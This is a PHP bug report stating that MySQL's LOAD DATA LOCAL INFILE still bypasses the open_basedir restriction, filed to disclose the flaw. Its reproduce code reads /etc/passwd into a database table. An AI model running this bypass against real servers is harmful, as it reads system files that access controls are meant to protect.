PHP Bug Type: MySQL related
Bug description: LOAD DATA LOCAL is still not respecting Open_BaseDir
Description:
------------
As already mentioned in PHP Bugs Bug #28632 and Bug #23779, mysqllib still
isn't respecting open_basedir. So opening of any files in the local
filesystem is possible.
Normally, this should have been fixed in PHP 4.3.8, but the exploit still
works.
Reproduce code:
---------------
<?php
$ressource = mysql_connect('host', 'user', 'password');
$db_selected = mysql_select_db('db', $ressource);
$result = mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE
passwd");
if (!$result) die('MySQL Error: ' . mysql_error());
mysql_close($ressource);
?>
Expected result:
----------------
Access denied error or command not allowed.
Actual result:
--------------
The file /etc/passwd will be inserted into the table passwd.
